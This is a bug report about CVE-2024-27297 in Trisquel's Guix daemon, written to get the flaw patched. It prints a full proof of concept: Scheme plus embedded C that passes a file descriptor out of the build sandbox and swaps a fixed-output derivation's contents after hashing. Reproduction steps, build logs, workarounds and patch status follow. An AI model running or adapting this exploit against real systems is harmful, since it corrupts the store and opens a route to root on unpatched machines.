CVE-2024-27297
Hi,
Trisquel aramo is vulnerable to the CVE-2024-27297 which enables root privilege escalation with Guix and Nix via their respective daemons.
While there is not yet a fix for Nix in Ubuntu or Debian, Debian is supposed to have a fix that works for Guix.
The documentation on the bug in Guix is in a Guix blog post[1].
To reproduce it, on a Trisquel VM:
- Create a VM with Trisquel (ideally a minimal netinstall) with 4G of RAM (or more), 10G of storage (it could work with less, but I didn't test), and 1 CPU core (not more, not to require too much RAM).
- Copy the scheme code below (from the Guix blog post[1]) in a file named fixed-output-derivation-corruption.scm in the user home directory.
- run guix pull as the user
- reboot the VM
- run 'guix build -f fixed-output-derivation-corruption.scm -M4' as user
Here's the code for convenience (also available in the Guix blog post):
;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
(use-modules (guix)
(guix modules)
(guix profiles)
(gnu packages)
(gnu packages gnupg)
(gcrypt hash)
((rnrs bytevectors) #:select (string->utf8)))
(define (compiled-c-code name source)
(define build-profile
(profile (content (specifications->manifest '("gcc-toolchain")))))
(define build
(with-extensions (list guile-gcrypt)
(with-imported-modules (source-module-closure '((guix build utils)
(guix profiles)))
#~(begin
(use-modules (guix build utils)
(guix profiles))
(load-profile #+build-profile)
(system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
(computed-file name build))
(define sender-source
(plain-file "sender.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IOLBF, 0);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up an abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
printf(\"attempting connection...\\n\");
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
if (errno != ECONNREFUSED) break;
usleep(500000);
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = \"\";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror(\"sendmsg\");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}"))
(define receiver-source
(mixed-text-file "receiver.c" "
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/inotify.h>
int main(int argc, char **argv) {
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, \"dihutenosa\");
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(\"dihutenosa\")
+ 1);
if (res < 0) perror(\"bind\");
res = listen(sock, 1);
if (res < 0) perror(\"listen\");
while (1) {
setvbuf(stdout, NULL, _IOLBF, 0);
printf(\"accepting connections...\\n\");
int a = accept(sock, 0, 0);
if (a < 0) perror(\"accept\");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
int res;
// Grab the copy of the file descriptor.
memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
printf(\"preparing our hand...\\n\");
ftruncate(res, 0);
// Write the expected contents to the file, tricking Nix
// into accepting it as matching the fixed-output hash.
write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));
// But wait, the file is bigger than this! What could
// this code hide?
// First, we do a bit of a hack to get a path for the
// file descriptor we received. This is necessary because
// that file doesn't exist in our mount namespace!
char buf[128];
sprintf(buf, \"/proc/self/fd/%d\", res);
// Hook up an inotify on that file, so whenever Nix
// closes the file, we get notified.
int inot = inotify_init();
inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
// Notify the smuggler that we've set everything up for
// the magic trick we're about to do.
close(a);
// So, before we continue with this code, a trip into Nix
// reveals a small flaw in fixed-output derivations. When
// storing their output, Nix has to hash them twice. Once
// to verify they match the \"flat\" hash of the derivation
// and once more after packing the file into the NAR that
// gets sent to a binary cache for others to consume. And
// there's a very slight window inbetween, where we could
// just swap the contents of our file. But the first hash
// is still noted down, and Nix will refuse to import our
// NAR file. To trick it, we need to write a reference to
// a store path that the source code for the smuggler drv
// references, to ensure it gets picked up. Continuing...
// Wait for the next inotify event to drop:
read(inot, buf, 128);
// first read + CA check has just been done, Nix is about
// to chown the file to root. afterwards, refscanning
// happens...
// Empty the file, seek to start.
ftruncate(res, 0);
lseek(res, 0, SEEK_SET);
// We swap out the contents!
static const char content[] = \"This file has been corrupted!\\n\";
write(res, content, strlen (content));
close(res);
printf(\"swaptrick finished, now to wait..\\n\");
return 0;
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
close(a);
}
}"))
(define nonce
(string-append "-" (number->string (car (gettimeofday)) 16)
"-" (number->string (getpid))))
(define original-text
"This is the original text, before corruption.")
(define derivation-that-exfiltrates-fd
(computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
(with-imported-modules '((guix build utils))
#~(begin
(use-modules (guix build utils))
(invoke #+(compiled-c-code "sender" sender-source))
(call-with-output-file #$output
(lambda (port)
(display #$original-text port)))))
#:options `(#:hash-algo sha256
#:hash ,(sha256
(string->utf8 original-text)))))
(define derivation-that-grabs-fd
(computed-file (string-append "derivation-that-grabs-fd" nonce)
#~(begin
(open-output-file #$output) ;make sure there's an output
(execl #+(compiled-c-code "receiver" receiver-source)
"receiver"))
#:options `(#:hash-algo sha256
#:hash ,(sha256 #vu8()))))
(define check
(computed-file "checking-for-vulnerability"
#~(begin
(use-modules (ice-9 textual-ports))
(mkdir #$output) ;make sure there's an output
(format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
#+derivation-that-grabs-fd
#+derivation-that-exfiltrates-fd)
(let ((content (call-with-input-file
#+derivation-that-exfiltrates-fd
get-string-all)))
(format #t "Here is what we see in ~a: ~s~%~%"
#+derivation-that-exfiltrates-fd content)
(if (string=? content #$original-text)
(format #t "Failed to corrupt ~a, \
your system is safe.~%"
#+derivation-that-exfiltrates-fd)
(begin
(format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
#+derivation-that-exfiltrates-fd)
(exit 1)))))))
check
If Trisquel's Guix is vulnerable the output should look like that:
$ guix build -f fixed-output-derivation-corruption.scm -M4
[...]/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
[...]/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
The following derivations will be built:
/gnu/store/lqhn5cck0yrfqbjrqqph24ixfja6vbly-checking-for-vulnerability.drv
/gnu/store/a066q6w0k43ylbm65isi9g9m7wk1gahk-derivation-that-exfiltrates-fd-669ea349-1141.drv
/gnu/store/hizxc8hhv95rl799l0qb7vabqavps9xk-derivation-that-grabs-fd-669ea349-1141.drv
building /gnu/store/a066q6w0k43ylbm65isi9g9m7wk1gahk-derivation-that-exfiltrates-fd-669ea349-1141.drv...
building /gnu/store/hizxc8hhv95rl799l0qb7vabqavps9xk-derivation-that-grabs-fd-669ea349-1141.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/a066q6w0k43ylbm65isi9g9m7wk1gahk-derivation-that-exfiltrates-fd-669ea349-1141.drv
The following build is still in progress:
/gnu/store/hizxc8hhv95rl799l0qb7vabqavps9xk-derivation-that-grabs-fd-669ea349-1141.drv
swaptrick finished, now to wait..
successfully built /gnu/store/hizxc8hhv95rl799l0qb7vabqavps9xk-derivation-that-grabs-fd-669ea349-1141.drv
building /gnu/store/lqhn5cck0yrfqbjrqqph24ixfja6vbly-checking-for-vulnerability.drv...
This depends on /gnu/store/06xc7ghv51n71zaca43zpwrzapdz53lx-derivation-that-grabs-fd-669ea349-1141, which will grab the file
descriptor and corrupt /gnu/store/161iv58rsm8f42b62fjjzdzxjfhlc7f8-derivation-that-exfiltrates-fd-669ea349-1141.
Here is what we see in /gnu/store/161iv58rsm8f42b62fjjzdzxjfhlc7f8-derivation-that-exfiltrates-fd-669ea349-1141: "This file has been corrupted!\n"
We managed to corrupt /gnu/store/161iv58rsm8f42b62fjjzdzxjfhlc7f8-derivation-that-exfiltrates-fd-669ea349-1141, meaning that YOUR SYSTEM IS VULNERABLE!
builder for `/gnu/store/lqhn5cck0yrfqbjrqqph24ixfja6vbly-checking-for-vulnerability.drv' failed with exit code 1
build of /gnu/store/lqhn5cck0yrfqbjrqqph24ixfja6vbly-checking-for-vulnerability.drv failed
View build log at '/var/log/guix/drvs/lq/hn5cck0yrfqbjrqqph24ixfja6vbly-checking-for-vulnerability.drv.bz2'.
guix build: error: build of `/gnu/store/lqhn5cck0yrfqbjrqqph24ixfja6vbly-checking-for-vulnerability.d/gnu/store/161iv58rsm8f42b62fjjzdzxjfhlc7f8-derivation-that-exfiltrates-fd-669ea349-1141
This file has been corrupted!
And we can see the corrupted file manually too:
$ cat /gnu/store/161iv58rsm8f42b62fjjzdzxjfhlc7f8-derivation-that-exfiltrates-fd-669ea349-1141
This file has been corrupted!
However when the bug is fixed we should see something that looks like that instead:
$ guix build -f fixed-output-derivation-corruption.scm -M4
[...]/fixed-output-derivation-corruption.scm:27:7: warning: importing module (guix config) from the host
[...]/fixed-output-derivation-corruption.scm:27:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
The following derivations will be built:
/gnu/store/6h2a1r2i072z2x13sjr1wdmir7z7qd3f-checking-for-vulnerability.drv
/gnu/store/qi4v9k127mviafq3zj4mb5q69lacimc8-derivation-that-exfiltrates-fd-669ea3e5-973828.drv
/gnu/store/qy7hws9pya0r57xh02lhxs7v81wnwjpb-derivation-that-grabs-fd-669ea3e5-973828.drv
building /gnu/store/qi4v9k127mviafq3zj4mb5q69lacimc8-derivation-that-exfiltrates-fd-669ea3e5-973828.drv...
building /gnu/store/qy7hws9pya0r57xh02lhxs7v81wnwjpb-derivation-that-grabs-fd-669ea3e5-973828.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/qi4v9k127mviafq3zj4mb5q69lacimc8-derivation-that-exfiltrates-fd-669ea3e5-973828.drv
The following build is still in progress:
/gnu/store/qy7hws9pya0r57xh02lhxs7v81wnwjpb-derivation-that-grabs-fd-669ea3e5-973828.drv
swaptrick finished, now to wait..
successfully built /gnu/store/qy7hws9pya0r57xh02lhxs7v81wnwjpb-derivation-that-grabs-fd-669ea3e5-973828.drv
building /gnu/store/6h2a1r2i072z2x13sjr1wdmir7z7qd3f-checking-for-vulnerability.drv...
This depends on /gnu/store/rrspspb9sw62lnh3fhwvsbhqdq5mdl16-derivation-that-grabs-fd-669ea3e5-973828, which will grab the file
descriptor and corrupt /gnu/store/hzryaxish7h1spxma70hsxiljs37wj5n-derivation-that-exfiltrates-fd-669ea3e5-973828.
Here is what we see in /gnu/store/hzryaxish7h1spxma70hsxiljs37wj5n-derivation-that-exfiltrates-fd-669ea3e5-973828: "This is the original text, before corruption."
Failed to corrupt /gnu/store/hzryaxish7h1spxma70hsxiljs37wj5n-derivation-that-exfiltrates-fd-669ea3e5-973828, your system is safe.
successfully built /gnu/store/6h2a1r2i072z2x13sjr1wdmir7z7qd3f-checking-for-vulnerability.drv
/gnu/store/x6aiawvwl9qkza5rp8v3jqjvgg9cqi1p-checking-for-vulnerability
$
And here '/gnu/store/x6aiawvwl9qkza5rp8v3jqjvgg9cqi1p-checking-for-vulnerability' is an empty directory.
Note that the output above are usually longer if you run it the first time. If you want to trigger a rebuild you can simply run the 'guix gc' command before attempting to test again.
A possible workaround until this is fixed is to not run guix-daemon from /usr/bin/guix-daemon like it is done in Trisquel and instead run it from /var/guix/profiles/per-user/root/current-guix/bin/guix-daemon.
If this is done users / system administrators are expected to upgrade guix in this way:
sudo --login guix pull
sudo systemctl restart guix-daemon.service
The downside of this approach is that beside not using Guix from Trisquel, it that for people just installing guix with 'apt-install guix', (1) they don't get the security fix without running the commands above, and (2) guix may be completely broken without running guix pull[2].
Another option is that in Debian, Guix 1.4.0 is supposed to be fixed[3].
In Ubuntu Jamy the bug is in a "Needs triage"[4] state, they assigned it to a "Medium" priority, and all the details of this issue are known at least since March 2024[1], so I'm unsure if waiting more for Ubuntu is a good solution here.
I contacted Ark74 privately and Ark74 was interested in fixing that bug and tried to somehow backport the Debian fix (if I understood right) and produced a deb file[5] (guix_1.3.0-4+really1.3.0-5+11.0trisquel0_amd64.deb).
My first attempt at this bug in Trisquel was to ask questions on #trisquel in liberachat try to understand if it was possible to simply use the Debian package somehow to get this fixed for good.
The issues I have now is that:
- After reproducing the vulnerability in a stock Trisquel VM, I installed that deb file (guix_1.3.0-4+really1.3.0-5+11.0trisquel0_amd64.deb), ran 'guix gc' and rebooted (I don't recall the order between the 2) and run 'guix build -f fixed-output-derivation-corruption.scm -M4' again and it didn't fix the issue.
- In Parabola we have the exact same security issue and I tried to backport Debian's '0001-daemon-Protect-against-FD-escape-when-building-fixed.patch' patch for Guix but it didn't fix the issue either.
So after some help/guidance by Ark74 I'll now install Debian 12 in a VM (hoping that it won't install any nonfree firmwares behind my back) and try to reproduce the bug with Debian. The idea here is to understand how Debian fixed it. The bonus of this approach is that we'd also be able to fix Parabola and Arch Linux user repository along the way if we do understand the fix.
Also note that while I've lot of experience with various build systems (previously with yocto, with Arch Build system, now learning Guix, etc), I'm really new with Debian related tooling in general. I know my way around on how to patch a package in Trisquel but not much more yet. So that affects my ability to create packages, doing some tests, etc.
References:
[1]https://guix.gnu.org/en/blog/2024/fixed-output-derivation-sandbox-bypass-cve-2024-27297/
[2]The Arch Linux guix user package (https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=guix) has the following comment inside "Rename systemd service files provided by upstream because they are not usable without previous guix installation" (broken in 2 lines). Though the guix-installer script provides systemd unit that use /var/guix/profiles/per-user/root/current-guix/bin/guix-daemon. So I'm unsure how the guix-installer deals with that.
[3]https://security-tracker.debian.org/tracker/CVE-2024-27297
[4]https://ubuntu.com/security/CVE-2024-27297
[5]https://jenkins.trisquel.org/job/binary/9239/
edit1: add line-breaks in the reference section